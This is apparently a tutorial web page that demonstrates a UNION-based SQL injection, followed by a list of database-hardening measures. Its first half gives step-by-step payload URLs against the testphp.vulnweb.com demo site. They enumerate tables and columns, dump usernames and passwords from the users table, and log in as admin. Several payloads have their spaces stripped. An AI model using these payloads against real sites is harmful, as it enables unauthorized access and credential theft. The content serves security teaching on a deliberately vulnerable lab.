Hack Database On Web Browser
SQL Injection Attack I
In SQL injection attack, the attacker inserts malicious SQL statements to control the database of the web application
Sample website – testphp.vulnweb.com
Step 1 – Get a link in the web application
http://testphp.vulnweb.com/artists.php?artist=1
Step 2 – Check For the error message
http://testphp.vulnweb.com/artists.php?artist=1’
In the above figure, we can see that the server is providing SQL error messages. It indicates that the website is vulnerable to SQL injection.
Step 3 – Get Information about the number of columns in the web application
http://testphp.vulnweb.com/artists.php?artist=1orderby 1—
http://testphp.vulnweb.com/artists.php?artist=1orderby 2–
http://testphp.vulnweb.com/artists.php?artist=1orderby 3-
http://testphp.vulnweb.com/artists.php?artist=1orderby 4–
http://testphp.vulnweb.com/artists.php?artist=1orderby 5—
Now using 1,2,3 we are getting a webpage but on 4 it changes. it means that there are 3 columns
Step 4 – Get Information about Tables in database-
http://testphp.vulnweb.com/artists.php?artist=-1unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()–
Step 5 – Get Information about Columns in the user’s table –
We found table names in the previous step. NEdit Siteow pick one table – user from it and find columns
http://testphp.vulnweb.com/artists.php?artist=-1unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_name=users–
Step 6 – Get Username and password from uname and pass column –
We found column names in the previous step. Now pick columns and find data inside them.
Find Username –
http://testphp.vulnweb.com/artists.php?artist=-1unionselect1,2,group_concat(uname)fromusers–
Find Password –
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,group_concat(pass) from users–
Step 7 – Now login in the website as admin –
Open http://testphp.vulnweb.com/login.php page and type username – test and password – test
You can see in the above figure that we have successfully logged in as admin using SQL injection attack.
Securing databases accessed through web browsers is crucial to prevent unauthorized access, data breaches, and other malicious activities.
Here are several measures to protect against hacking attempts on web browser databases:
- Strong Authentication:
- Implement strong and unique passwords for database accounts.
- Enforce multi-factor authentication (MFA) to add an extra layer of security.
- Database Encryption:
- Encrypt sensitive data stored in the database to protect it from unauthorized access, both at rest and in transit.
- Use SSL/TLS to secure the communication between the web browser and the database server.
- Secure Connection Settings:
- Configure the database server to accept connections only from trusted sources.
- Utilize secure connection protocols and disable insecure options like cleartext authentication.
- Regular Software Updates:
- Keep the database management system (DBMS) and related software up to date with the latest security patches.
- Apply security updates promptly to address known vulnerabilities.
- Database Auditing:
- Enable database auditing features to monitor and log activities related to database access.
- Regularly review audit logs for any suspicious activities.
- Access Control and Least Privilege:
- Implement strict access control policies to ensure that users have the minimum necessary permissions.
- Avoid using privileged accounts for routine tasks.
- Web Application Firewalls (WAF):
- Deploy WAF solutions to monitor and filter HTTP traffic between a web application and a database.
- Configure WAF rules to block SQL injection and other common attack vectors.
- Input Validation:
- Implement thorough input validation mechanisms in web applications to prevent SQL injection and other injection attacks.
- Use parameterized queries and prepared statements to mitigate SQL injection risks.
- Security Headers:
- Utilize security headers, such as Content Security Policy (CSP), to mitigate the risk of cross-site scripting (XSS) attacks.
- Session Management:
- Secure session management by using secure, random session IDs and implementing session timeout mechanisms.
- Regularly review and update session management policies.
- Incident Response Plan:
- Develop and regularly test an incident response plan specific to database breaches.
- Define procedures for identifying, containing, and mitigating the impact of a potential database compromise.
- Regular Security Audits:
- Conduct regular security audits and penetration testing to identify vulnerabilities and weaknesses in the database and web application.
- Address any findings promptly to enhance security.
- Data Backups:
- Regularly backup database data and configurations.
- Ensure that backup copies are stored securely, and test the restoration process periodically.
- User Education:
- Educate users and administrators about security best practices, such as recognizing phishing attempts and avoiding insecure practices.
By implementing these measures, organizations can significantly enhance the security of databases accessed through web browsers and mitigate the risk of unauthorized access, data breaches, and other security incidents.